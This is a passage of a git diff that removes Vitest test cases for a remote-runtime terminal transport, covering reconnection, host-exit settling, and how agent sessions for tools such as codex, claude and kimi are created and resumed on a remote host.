-  it('keeps reattaching a still-ready handle that ends repeatedly instead of parking', async () => {
-    const transport = await attachHostMirror()
-    runtimeCall.mockImplementation(async (args: { method: string }) =>
-      args.method === 'session.tabs.list' || args.method === 'session.tabs.activate'
-        ? readyHostSessionInventoryResponse('terminal-1')
-        : { ok: true, result: {} }
-    )
-
-    for (let cycle = 0; cycle < 5; cycle += 1) {
-      endLatestStream()
-      await vi.advanceTimersByTimeAsync(10_000)
-      expect(subscribedTerminalHandles()).toHaveLength(cycle + 2)
-      emitSnapshot(latestSubscribePayload().streamId, `cycle ${cycle}`)
-      expect(transport.isConnected()).toBe(true)
-      expect(transport.getRecoveryState?.().phase).toBe('connected')
-    }
-    transport.destroy?.()
-  })
-
-  it('retries a resubscribe whose host answered without a ready handle', async () => {
-    const transport = await attachHostMirror()
-    let hostReady = false
-    runtimeCall.mockImplementation(async (args: { method: string }) =>
-      args.method === 'session.tabs.list' || args.method === 'session.tabs.activate'
-        ? hostSnapshot(hostReady ? 'ready' : 'pending-handle')
-        : { ok: true, result: {} }
-    )
-
-    endLatestStream()
-    await vi.advanceTimersByTimeAsync(16_000)
-    expect(subscribedTerminalHandles()).toHaveLength(1)
-    hostReady = true
-    await vi.advanceTimersByTimeAsync(5_000)
-
-    expect(subscribedTerminalHandles()).toEqual(['terminal-1', 'terminal-1'])
-    transport.destroy?.()
-  })
-
   it('retries an attach whose host surface stayed pending past the bounded wait', async () => {
     let hostReady = false
     runtimeCall.mockImplementation(async (args: { method: string }) =>
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-exit-record.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-exit-record.test.ts
index 62ab44c1fb0..ea198e8050a 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-exit-record.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-exit-record.test.ts
@@ -120,186 +120,6 @@ describe('remote runtime pane whose host session already ended (#31539)', () =>
     resetRemoteRuntimeTransport()
   })
 
-  it('settles a stale restored pane as exited when the host verdict is exited', async () => {
-    const onPtyExit = vi.fn()
-    const transport = await attachRestoredHostTab(onPtyExit)
-    const shown = answerShow({
-      connected: false,
-      verdict: 'exited',
-      exitCause: { kind: 'exited', exitCode: 3 }
-    })
-
-    refuseStream('terminal_handle_stale')
-
-    await vi.waitFor(() => expect(onPtyExit).toHaveBeenCalledWith(HOST_TAB_PTY_ID, 3))
-    expect(onPtyExit).toHaveBeenCalledOnce()
-    expect(shown).toEqual(['terminal-ended'])
-    expect(transport.getRecoveryState?.().phase).toBe('ended')
-    expect(transport.getPtyId()).toBeNull()
-    transport.destroy?.()
-  })
-
-  it('settles on the exit cause a host without verdicts records', async () => {
-    const onPtyExit = vi.fn()
-    const transport = await attachRestoredHostTab(onPtyExit)
-    answerShow({ connected: false, exitCause: { kind: 'operator_close' } })
-
-    refuseStream('no_connected_pty')
-
-    await vi.waitFor(() => expect(onPtyExit).toHaveBeenCalledWith(HOST_TAB_PTY_ID))
-    expect(transport.getRecoveryState?.().phase).toBe('ended')
-    transport.destroy?.()
-  })
-
-  it.each([
-    ['an unverifiable verdict', { connected: false, verdict: 'unverifiable' }],
-    [
-      'a live verdict over a stale exit cause',
-      { connected: true, verdict: 'live', exitCause: { kind: 'operator_close' } }
-    ],
-    [
-      'a stop the host never saw land',
-      { connected: false, exitCause: { kind: 'unknown', reason: 'stop_unverified' } }
-    ],
-    ['an older host without exit fields', { connected: false }]
-  ])('keeps retrying on %s', async (_label, terminal) => {
-    const onPtyExit = vi.fn()
-    const transport = await attachRestoredHostTab(onPtyExit)
-    const shown = answerShow(terminal)
-
-    refuseStream('terminal_handle_stale')
-
-    await vi.waitFor(() => expect(shown).toEqual(['terminal-ended']))
-    await vi.waitFor(() =>
-      expect(runtimeCall).toHaveBeenCalledWith(
-        expect.objectContaining({ method: 'session.tabs.list' })
-      )
-    )
-    expect(onPtyExit).not.toHaveBeenCalled()
-    expect(transport.getRecoveryState?.().phase).not.toBe('ended')
-    expect(transport.getPtyId()).toBe(HOST_TAB_PTY_ID)
-    transport.destroy?.()
-  })
-
-  it.each([
-    ['a new handle', { handle: 'terminal-restarted' }],
-    [
-      'a new incarnation under the same handle',
-      { handle: 'terminal-ended', incarnationId: 'inc-2' }
-    ],
-    ['a new PTY under the same handle', { handle: 'terminal-ended', ptyId: 'pty-2' }]
-  ])('keeps a pane the host already replaced with %s', async (_label, replacement) => {
-    const onPtyExit = vi.fn()
-    const transport = await attachRestoredHostTab(onPtyExit)
-    const shown = answerShow({
-      connected: false,
-      verdict: 'exited',
-      ptyId: 'pty-1',
-      incarnationId: 'inc-1'
-    })
-    const answer = runtimeCall.getMockImplementation()
-    runtimeCall.mockImplementation(async (args: { method: string; params?: unknown }) =>
-      args.method === 'terminal.resolvePane'
-        ? {
-            ok: true,
-            result: {
-              terminal: {
-                tabId: 'host-tab-1',
-                leafId: 'pane:1',
-                worktreeId: 'wt-1',
-                ptyId: 'pty-1',
-                incarnationId: 'inc-1',
-                ...replacement
-              }
-            }
-          }
-        : answer?.(args)
-    )
-
-    refuseStream('terminal_handle_stale')
-
-    await vi.waitFor(() => expect(shown).toEqual(['terminal-ended']))
-    // Why: let the probe's pane read answer; a premature retirement lands within these turns.
-    await new Promise((resolve) => setTimeout(resolve, 50))
-    expect(onPtyExit).not.toHaveBeenCalled()
-    expect(transport.getRecoveryState?.().phase).not.toBe('ended')
-    transport.destroy?.()
-  })
-
-  it('leaves a stopped pane the host still publishes to be re-created on activation', async () => {
-    const onPtyExit = vi.fn()
-    const transport = await attachRestoredHostTab(onPtyExit)
-    const shown = answerShow({ connected: false, exitCause: { kind: 'operator_close' } })
-    const answer = runtimeCall.getMockImplementation()
-    runtimeCall.mockImplementation(async (args: { method: string; params?: unknown }) =>
-      args.method === 'session.tabs.list'
-        ? {
-            ok: true,
-            result: {
-              worktree: 'wt-1',
-              publicationEpoch: 'epoch-ready',
-              snapshotVersion: 3,
-              activeGroupId: null,
-              activeTabId: 'host-tab-1::pane:1',
-              activeTabType: 'terminal',
-              tabs: [
-                {
-                  type: 'terminal',
-                  id: 'host-tab-1::pane:1',
-                  parentTabId: 'host-tab-1',
-                  leafId: 'pane:1',
-                  title: 'Terminal',
-                  isActive: true,
-                  status: 'pending-handle',
-                  terminal: null
-                }
-              ]
-            }
-          }
-        : answer?.(args)
-    )
-
-    refuseStream('terminal_handle_stale')
-
-    await vi.waitFor(() => expect(shown).toEqual(['terminal-ended']))
-    // Why: let the probe's inventory read answer; a premature retirement lands within these turns.
-    await new Promise((resolve) => setTimeout(resolve, 50))
-    expect(onPtyExit).not.toHaveBeenCalled()
-    expect(transport.getRecoveryState?.().phase).not.toBe('ended')
-    transport.destroy?.()
-  })
-
-  it('hands a settled pane back once a host snapshot publishes its new process', async () => {
-    const onHostReboundExitedPty = vi.fn()
-    const transport = await attachRestoredHostTab(vi.fn(), onHostReboundExitedPty)
-    answerShow({ connected: false, verdict: 'exited', incarnationId: 'inc-1' })
-    refuseStream('terminal_handle_stale')
-    await vi.waitFor(() => expect(transport.getRecoveryState?.().phase).toBe('ended'))
-
-    await publishHostSurface({ terminal: 'terminal-ended', incarnationId: 'inc-1' }, 4)
-    await publishHostSurface({ terminal: 'terminal-ended' }, 5)
-    await publishHostSurface(null, 6)
-    expect(onHostReboundExitedPty).not.toHaveBeenCalled()
-
-    await publishHostSurface({ terminal: 'terminal-ended', incarnationId: 'inc-2' }, 7)
-    await publishHostSurface({ terminal: 'terminal-later' }, 8)
-    expect(onHostReboundExitedPty.mock.calls).toEqual([['remote:hub-env@@terminal-ended']])
-    transport.destroy?.()
-  })
-
-  it('hands a settled pane back to a new handle the host binds to it', async () => {
-    const onHostReboundExitedPty = vi.fn()
-    const transport = await attachRestoredHostTab(vi.fn(), onHostReboundExitedPty)
-    answerShow({ connected: false, exitCause: { kind: 'operator_close' } })
-    refuseStream('no_connected_pty')
-    await vi.waitFor(() => expect(transport.getRecoveryState?.().phase).toBe('ended'))
-
-    await publishHostSurface({ terminal: 'terminal-restarted' }, 4)
-
-    expect(onHostReboundExitedPty.mock.calls).toEqual([['remote:hub-env@@terminal-restarted']])
-    transport.destroy?.()
-  })
-
   it('hands a settled pane back to a process the host published while the exit was confirming', async () => {
     const onHostReboundExitedPty = vi.fn()
     const transport = await attachRestoredHostTab(vi.fn(), onHostReboundExitedPty)
@@ -339,48 +159,4 @@ describe('remote runtime pane whose host session already ended (#31539)', () =>
     )
     transport.destroy?.()
   })
-
-  it('settles a pane whose restore attach is refused as stale before it binds', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onPtyExit = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1',
-      onPtyExit
-    })
-    const shown: string[] = []
-    let resolves = 0
-    runtimeCall.mockImplementation(async (args: { method: string; params?: ShowParams }) => {
-      if (args.method === 'terminal.resolvePane') {
-        resolves += 1
-        return resolves === 1
-          ? { ok: false, error: { code: 'runtime_error', message: 'terminal_handle_stale' } }
-          : {
-              ok: true,
-              result: {
-                terminal: {
-                  handle: 'terminal-ended',
-                  tabId: 'tab-1',
-                  leafId: 'pane:1',
-                  worktreeId: 'wt-1'
-                }
-              }
-            }
-      }
-      if (args.method === 'terminal.show') {
-        shown.push(args.params?.terminal ?? '')
-        return { ok: true, result: { terminal: { connected: false, verdict: 'exited' } } }
-      }
-      return { ok: true, result: {} }
-    })
-
-    transport.attach({ existingPtyId: 'remote:env-1@@terminal-ended', callbacks: {} })
-
-    await vi.waitFor(() => expect(onPtyExit).toHaveBeenCalledWith('remote:env-1@@terminal-ended'))
-    expect(shown).toEqual(['terminal-ended'])
-    expect(transport.getRecoveryState?.().phase).toBe('ended')
-    expect(subscriptionSendBinary).not.toHaveBeenCalled()
-    transport.destroy?.()
-  })
 })
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-session-launch.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-session-launch.test.ts
deleted file mode 100644
index 4e7d4849e0b..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-session-launch.test.ts
+++ /dev/null
@@ -1,801 +0,0 @@
-import { createHostSessionLaunchRuntimeFixture } from './remote-runtime-host-session-launch-test-fixture'
-import { ExplicitEnsure } from '../../../../../../shared/rpc-contract/agent-session-params'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { deliverCreatedWebRuntimeAgentSessionPrompt } from '@/runtime/hosted-terminals/creation/web-runtime-created-agent-prompt-delivery'
-const promptFailure = vi.hoisted(() => ({ error: vi.fn(), copy: vi.fn() }))
-vi.mock('sonner', () => ({ toast: { error: promptFailure.error } }))
-const delivery = vi.hoisted(() =>
-  vi.fn<typeof deliverCreatedWebRuntimeAgentSessionPrompt>(async () => true)
-)
-vi.mock('@/runtime/hosted-terminals/creation/web-runtime-created-agent-prompt-delivery', () => ({
-  deliverCreatedWebRuntimeAgentSessionPrompt: delivery
-}))
-const appStore = vi.hoisted(() => {
-  const state = {
-    runtimeStatusByEnvironmentId: new Map()
-  }
-  return { getState: vi.fn(() => state) }
-})
-vi.mock('@/runtime/web-session-tabs-sync/inventory/web-runtime-session-snapshot', () => ({
-  refreshWebRuntimeSessionTabsSnapshot: vi.fn(async () => undefined)
-}))
-
-vi.mock('@/store/index', () => ({ useAppStore: { getState: appStore.getState } }))
-
-import {
-  TerminalStreamOpcode,
-  decodeTerminalStreamFrame,
-  encodeTerminalStreamFrame,
-  encodeTerminalStreamJson,
-  encodeTerminalStreamText
-} from '../../../../../../shared/terminal/stream/terminal-stream-protocol'
-describe('createRemoteRuntimePtyTransport', () => {
-  const originalWindow = (globalThis as { window?: typeof window }).window
-  const fixture = createHostSessionLaunchRuntimeFixture()
-  const {
-    runtimeCall,
-    runtimeSubscribe,
-    unsubscribe,
-    unsubscribeFn,
-    latestRemoteSubscribePayload
-  } = fixture
-
-  beforeEach(() => {
-    vi.resetModules()
-    delivery.mockReset().mockResolvedValue(true)
-    promptFailure.error.mockClear()
-    promptFailure.copy.mockClear()
-    fixture.reset()
-    ;(globalThis as { window: typeof window }).window = {
-      ...originalWindow,
-      api: {
-        ...originalWindow?.api,
-        runtimeEnvironments: {
-          ...originalWindow?.api?.runtimeEnvironments,
-          call: runtimeCall,
-          subscribe: runtimeSubscribe
-        }
-      }
-    } as unknown as typeof window
-  })
-
-  afterEach(() => {
-    if (originalWindow) {
-      ;(globalThis as { window: typeof window }).window = originalWindow
-    } else {
-      delete (globalThis as { window?: typeof window }).window
-    }
-  })
-
-  it('round-trips a strict saved ensure and its actual refused shell result', async () => {
-    const providerSession = { key: 'session_id' as const, id: 'C' }
-    const decision = { agent: 'codex' as const, providerSession, verdict: 'chat-home' as const }
-    runtimeCall.mockImplementation(async (args: { method?: string; params?: unknown }) => {
-      if (args.method === 'status.get') {
-        return {
-          ok: true,
-          result: {
-            runtimeProtocolVersion: 3,
-            minCompatibleRuntimeClientVersion: 2,
-            capabilities: [
-              'agent-session.host-authority.v1',
-              'agent-session.saved-resume-origin.v1'
-            ]
-          }
-        }
-      }
-      expect(args.method).toBe('terminal.ensureAgentSession')
-      expect(ExplicitEnsure.parse(args.params)).toMatchObject({
-        resumeOrigin: 'saved',
-        providerSession
-      })
-      return {
-        ok: true,
-        result: {
-          disposition: 'created',
-          terminal: {
-            handle: 'term-remote',
-            worktreeId: 'repo1::/remote/wt',
-            title: null,
-            savedResumeDecision: decision,
-            agentResumeRefused: 'chat-home',
-            agentResumeUnavailable: true
-          }
-        }
-      }
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'repo1::/remote/wt',
-      launchAgent: 'codex',
-      resumeOrigin: 'saved',
-      resumeProviderSession: providerSession,
-      tabId: 'tab-1',
-      leafId: '11111111-1111-4111-8111-111111111111'
-    })
-    const result = await transport.connect({ url: '', callbacks: {} })
-    expect(result).toMatchObject({
-      id: 'remote:env-1@@term-remote',
-      savedResumeDecision: decision,
-      agentResumeRefused: 'chat-home',
-      agentResumeUnavailable: true
-    })
-    expect(result).not.toHaveProperty('launchAgent')
-    transport.disconnect()
-  })
-
-  it('creates and subscribes to a terminal on the active remote runtime', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onReplayData = vi.fn()
-    const onData = vi.fn()
-    const onConnect = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'repo1::/remote/wt',
-      command: 'claude',
-      env: { ORCA_TAB_ID: 'tab-1' },
-      tabId: 'tab-1',
-      leafId: '11111111-1111-4111-8111-111111111111'
-    })
-
-    const result = await transport.connect({
-      url: '',
-      callbacks: { onReplayData, onData, onConnect }
-    })
-
-    expect(result).toEqual({ id: 'remote:env-1@@term-remote', replay: '' })
-    expect(runtimeCall).toHaveBeenCalledWith({
-      selector: 'env-1',
-      method: 'terminal.create',
-      params: {
-        worktree: 'id:repo1::/remote/wt',
-        clientMutationId: expect.any(String),
-        command: 'claude',
-        env: { ORCA_TAB_ID: 'tab-1' },
-        tabId: 'tab-1',
-        leafId: '11111111-1111-4111-8111-111111111111',
-        focus: false,
-        presentation: 'background'
-      },
-      timeoutMs: 15_000
-    })
-    expect(runtimeSubscribe).toHaveBeenCalledWith(
-      expect.objectContaining({
-        selector: 'env-1',
-        method: 'terminal.multiplex',
-        params: {}
-      }),
-      expect.any(Object)
-    )
-    const { streamId } = latestRemoteSubscribePayload()
-
-    fixture.subscriptionCallbacks?.onBinary?.(
-      encodeTerminalStreamFrame({
-        opcode: TerminalStreamOpcode.SnapshotStart,
-        streamId,
-        seq: 1,
-        payload: encodeTerminalStreamJson({ kind: 'scrollback' })
-      })
-    )
-    fixture.subscriptionCallbacks?.onBinary?.(
-      encodeTerminalStreamFrame({
-        opcode: TerminalStreamOpcode.SnapshotChunk,
-        streamId,
-        seq: 2,
-        payload: encodeTerminalStreamText('hello')
-      })
-    )
-    fixture.subscriptionCallbacks?.onBinary?.(
-      encodeTerminalStreamFrame({
-        opcode: TerminalStreamOpcode.SnapshotEnd,
-        streamId,
-        seq: 3,
-        payload: new Uint8Array()
-      })
-    )
-    fixture.subscriptionCallbacks?.onBinary?.(
-      encodeTerminalStreamFrame({
-        opcode: TerminalStreamOpcode.Output,
-        streamId,
-        seq: 4,
-        payload: encodeTerminalStreamText(' world')
-      })
-    )
-
-    expect(onReplayData).toHaveBeenCalledWith('hello', { carriesNormalBuffer: true })
-    expect(onConnect).toHaveBeenCalled()
-    expect(onData).toHaveBeenCalledWith(' world', expect.objectContaining({ seq: 4 }))
-  })
-
-  it('reports a host stable-pane adoption as reattach without fresh-spawn ownership', async () => {
-    runtimeCall.mockResolvedValue({
-      id: 'rpc-create',
-      ok: true,
-      result: {
-        terminal: {
-          handle: 'term-original',
-          worktreeId: 'repo1::/remote/wt',
-          title: 'Original',
-          surface: 'background',
-          isReattach: true
-        }
-      },
-      _meta: { runtimeId: 'runtime-remote' }
-    })
-    const onPtySpawn = vi.fn()
-    const onReattachDetermined = vi.fn()
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'repo1::/remote/wt',
-      tabId: 'tab-1',
-      leafId: '11111111-1111-4111-8111-111111111111',
-      onPtySpawn
-    })
-
-    const result = await transport.connect({
-      url: '',
-      callbacks: { onReattachDetermined }
-    })
-
-    expect(result).toEqual({
-      id: 'remote:env-1@@term-original',
-      replay: '',
-      isReattach: true
-    })
-    expect(onReattachDetermined).toHaveBeenCalledOnce()
-    expect(onPtySpawn).not.toHaveBeenCalled()
-  })
-
-  it('does not close an adopted stable-pane owner when create resolves after destroy', async () => {
-    let resolveCreate!: (value: unknown) => void
-    runtimeCall.mockImplementation(
-      () =>
-        new Promise((resolve) => {
-          resolveCreate = resolve
-        })
-    )
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'repo1::/remote/wt',
-      tabId: 'tab-1',
-      leafId: '11111111-1111-4111-8111-111111111111'
-    })
-
-    const connecting = transport.connect({ url: '', callbacks: {} })
-    transport.destroy?.()
-    resolveCreate({
-      id: 'rpc-create',
-      ok: true,
-      result: {
-        terminal: {
-          handle: 'term-original',
-          worktreeId: 'repo1::/remote/wt',
-          title: 'Original',
-          surface: 'background',
-          isReattach: true
-        }
-      },
-      _meta: { runtimeId: 'runtime-remote' }
-    })
-    await connecting
-
-    expect(runtimeCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({ method: 'terminal.close' })
-    )
-  })
-
-  it('suspends passive remote output until host sleep is cancelled', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const { applyHostWorktreeTerminalSleepState } =
-      await import('../shutdown/pty-shutdown-exit-deferral')
-    const onData = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'repo1::/remote/wt',
-      tabId: 'tab-1',
-      leafId: '11111111-1111-4111-8111-111111111111'
-    })
-    await transport.connect({ url: '', callbacks: { onData } })
-    const { streamId } = latestRemoteSubscribePayload()
-    const started = {
-      type: 'worktreeTerminalSleepState' as const,
-      worktreeId: 'repo1::/remote/wt',
-      generation: 7,
-      phase: 'started' as const,
-      ptyIds: ['host-pty-1'],
-      terminalHandles: ['term-remote']
-    }
-
-    applyHostWorktreeTerminalSleepState('env-1', started)
-    fixture.subscriptionCallbacks?.onBinary?.(
-      encodeTerminalStreamFrame({
-        opcode: TerminalStreamOpcode.Output,
-        streamId,
-        seq: 1,
-        payload: encodeTerminalStreamText('teardown output')
-      })
-    )
-    expect(onData).not.toHaveBeenCalled()
-
-    applyHostWorktreeTerminalSleepState('env-1', { ...started, phase: 'cancelled' })
-    expect(onData).toHaveBeenCalledWith('teardown output', expect.objectContaining({ seq: 1 }))
-  })
-
-  it('routes provider resumes through the host authority without sending the client command', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'repo1::/remote/wt',
-      command: "claude '--resume' 'provider-session'",
-      env: { CLIENT_ONLY: 'must-not-cross' },
-      launchAgent: 'claude',
-      agentArgsOverride: '--permission-mode plan',
-      resumeProviderSession: { key: 'session_id', id: 'provider-session' },
-      tabId: 'tab-1',
-      leafId: '11111111-1111-4111-8111-111111111111'
-    })
-
-    await transport.connect({ url: '', callbacks: {} })
-
-    expect(runtimeCall).toHaveBeenCalledWith({
-      selector: 'env-1',
-      method: 'terminal.ensureAgentSession',
-      params: {
-        kind: 'explicit',
-        worktree: 'id:repo1::/remote/wt',
-        agent: 'claude',
-        providerSession: { key: 'session_id', id: 'provider-session' },
-        agentArgs: '--permission-mode plan',
-        placement: {
-          tabId: 'tab-1',
-          leafId: '11111111-1111-4111-8111-111111111111'
-        },
-        presentation: 'background'
-      },
-      timeoutMs: 15_000
-    })
-    expect(runtimeCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({
-        method: 'terminal.create',
-        params: expect.objectContaining({ command: expect.any(String) })
-      })
-    )
-  })
-
-  it('degrades a Kimi resume to a legacy launch when the host predates the resume capability', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'repo1::/remote/wt',
-      command: "kimi '--session' 'session_431324d7'",
-      launchAgent: 'kimi',
-      resumeProviderSession: { key: 'session_id', id: 'session_431324d7' },
-      tabId: 'tab-1',
-      leafId: '11111111-1111-4111-8111-111111111111'
-    })
-
-    await transport.connect({ url: '', callbacks: {} })
-
-    // Baseline host authority lacks Kimi enum support; only the per-agent probe avoids fatal invalid_argument.
-    expect(runtimeCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({ method: 'terminal.ensureAgentSession' })
-    )
-    expect(runtimeCall).toHaveBeenCalledWith(
-      expect.objectContaining({
-        method: 'terminal.create',
-        params: expect.objectContaining({ command: "kimi '--session' 'session_431324d7'" })
-      })
-    )
-  })
-
-  it('claims the Kimi provider session on a host that advertises the resume capability', async () => {
-    runtimeCall.mockImplementation(async (args: { method?: string }) =>
-      args.method === 'status.get'
-        ? {
-            id: 'rpc-status',
-            ok: true,
-            result: {
-              runtimeProtocolVersion: 3,
-              minCompatibleRuntimeClientVersion: 2,
-              capabilities: ['agent-session.host-authority.v1', 'agent-session.kimi-resume.v1']
-            },
-            _meta: { runtimeId: 'runtime-remote' }
-          }
-        : {
-            id: 'rpc-create',
-            ok: true,
-            result: {
-              terminal: {
-                handle: 'term-remote',
-                worktreeId: 'repo1::/remote/wt',
-                title: null,
-                surface: 'background'
-              }
-            },
-            _meta: { runtimeId: 'runtime-remote' }
-          }
-    )
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'repo1::/remote/wt',
-      command: "kimi '--session' 'session_431324d7'",
-      launchAgent: 'kimi',
-      resumeProviderSession: { key: 'session_id', id: 'session_431324d7' },
-      tabId: 'tab-1',
-      leafId: '11111111-1111-4111-8111-111111111111'
-    })
-
-    await transport.connect({ url: '', callbacks: {} })
-
-    expect(runtimeCall).toHaveBeenCalledWith(
-      expect.objectContaining({
-        method: 'terminal.ensureAgentSession',
-        params: expect.objectContaining({
-          agent: 'kimi',
-          providerSession: { key: 'session_id', id: 'session_431324d7' }
-        })
-      })
-    )
-    expect(runtimeCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({
-        method: 'terminal.create',
-        params: expect.objectContaining({ command: expect.any(String) })
-      })
-    )
-  })
-
-  it('treats an explicitly killed remote session as normal retirement', async () => {
-    runtimeCall.mockImplementation(async (args: { method?: string }) =>
-      args.method === 'terminal.create'
-        ? {
-            id: 'rpc-create',
-            ok: false,
-            error: {
-              code: 'terminal_gone',
-              message: 'Session "pty-dead" was explicitly killed'
-            }
-          }
-        : {
-            id: 'rpc-status',
-            ok: true,
-            result: {
-              runtimeProtocolVersion: 3,
-              minCompatibleRuntimeClientVersion: 2,
-              capabilities: ['agent-session.host-authority.v1']
-            }
-          }
-    )
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'repo1::/remote/wt'
-    })
-    const onError = vi.fn()
-
-    await expect(transport.connect({ url: '', callbacks: { onError } })).resolves.toBeUndefined()
-    expect(onError).not.toHaveBeenCalled()
-  })
-
-  it('routes fresh agents through an idempotent host-built launch', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'repo1::/remote/wt',
-      command: "codex 'fix the race'",
-      env: { CLIENT_ONLY: 'must-not-cross' },
-      launchAgent: 'codex',
-      agentPrompt: 'fix the race',
-      agentPromptDelivery: 'draft',
-      agentLaunchPreferences: { model: 'gpt-5', effort: 'high' },
-      tabId: 'tab-1',
-      leafId: '11111111-1111-4111-8111-111111111111'
-    })
-
-    await transport.connect({ url: '', callbacks: {} })
-
-    expect(runtimeCall).toHaveBeenCalledWith({
-      selector: 'env-1',
-      method: 'terminal.createAgentSession',
-      params: {
-        clientOperationId: expect.stringMatching(/^\d{13}-[0-9a-f]{32}$/),
-        worktree: 'id:repo1::/remote/wt',
-        agent: 'codex',
-        prompt: 'fix the race',
-        promptDelivery: 'draft',
-        launchPreferences: { model: 'gpt-5', effort: 'high' },
-        placement: {
-          tabId: 'tab-1',
-          leafId: '11111111-1111-4111-8111-111111111111'
-        },
-        presentation: 'background'
-      },
-      timeoutMs: 15_000
-    })
-    expect(runtimeCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({
-        method: 'terminal.create',
-        params: expect.objectContaining({ command: expect.any(String) })
-      })
-    )
-  })
-
-  it('normalizes a non-native draft through the shared host startup contract and delivers to the returned pane once', async () => {
-    const original = runtimeCall.getMockImplementation()!
-    const { buildAgentDraftLaunchPlan, buildAgentStartupPlan } =
-      await import('../../../../../../shared/agent-launch/startup/tui-agent-startup')
-    const { resolveAgentStartupPlanInputs } =
-      await import('../../../../../../shared/agent-launch/startup/agent-startup-plan-inputs')
-    let statusAnswered = false
-    runtimeCall.mockImplementation(
-      async (args: { method?: string; params?: Record<string, unknown> }) => {
-        if (args.method === 'status.get') {
-          if (statusAnswered) {
-            return await new Promise(() => {})
-          }
-          statusAnswered = true
-        }
-        const response = await original(args)
-        if (args.method === 'terminal.createAgentSession') {
-          const params = args.params!
-          const inputs = resolveAgentStartupPlanInputs({
-            agent: 'codex',
-            settings: {},
-            agentArgs: '',
-            sessionOptions: {
-              model: 'gpt-host-pick',
-              effort: 'high',
-              permissionMode: 'full-access'
-            },
-            platform: 'linux',
-            shell: 'posix',
-            isRemote: false
-          })
-          const prompt = String(params.prompt ?? '')
-          const plan =
-            params.promptDelivery === 'draft'
-              ? buildAgentDraftLaunchPlan({ ...inputs, draft: prompt })
-              : buildAgentStartupPlan({ ...inputs, prompt, allowEmptyPromptLaunch: true })
-          if (!plan) {
-            return {
-              ok: false,
-              error: { code: 'capability_unsupported', message: 'No native draft' }
-            }
-          }
-          return {
-            ...response,
-            result: {
-              ...response.result,
-              disposition: 'created',
-              terminal: { ...response.result.terminal, tabId: 'host-adopted' }
-            }
-          }
-        }
-        return args.method === 'status.get'
-          ? {
-              ...response,
-              result: {
-                ...response.result,
-                capabilities: ['agent-session.host-authority.v1', 'agent-session.create-options.v1']
-              }
-            }
-          : response
-      }
-    )
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'repo1::/remote/wt',
-      command: '/desktop/codex --model desktop',
-      env: { DESKTOP_ONLY: 'yes' },
-      launchAgent: 'codex',
-      launchToken: 'draft-recovery-token',
-      freshAgentLaunch: {
-        agentArgs: '',
-        sessionOptions: { model: 'gpt-host-pick', effort: 'high', permissionMode: 'full-access' },
-        prompt: 'ship it',
-        promptDelivery: 'draft'
-      },
-      tabId: 'tab-1',
-      leafId: '11111111-1111-4111-8111-111111111111'
-    })
-    await transport.connect({ url: '', callbacks: {} })
-    expect(runtimeCall).toHaveBeenCalledWith(
-      expect.objectContaining({
-        method: 'terminal.createAgentSession',
-        params: expect.objectContaining({
-          agent: 'codex',
-          agentArgs: '',
-          sessionOptions: { model: 'gpt-host-pick', effort: 'high', permissionMode: 'full-access' }
-        })
-      })
-    )
-    const create = runtimeCall.mock.calls.find(
-      ([args]) => args.method === 'terminal.createAgentSession'
-    )?.[0]
-    expect(create?.params).not.toHaveProperty('command')
-    expect(create?.params).not.toHaveProperty('env')
-    expect(delivery).toHaveBeenCalledExactlyOnceWith(
-      { outcome: { status: 'created' }, hostTabId: 'host-adopted' },
-      expect.objectContaining({
-        agent: 'codex',
-        rendererTabId: 'web-terminal-host-adopted',
-        promptAfterReady: 'ship it',
-        submitPrompt: false,
-        forcePromptPaste: true
-      })
-    )
-    const delivered = delivery.mock.calls[0]?.[1]
-    await expect(delivered?.launchPty).resolves.toBe('remote:env-1@@term-remote')
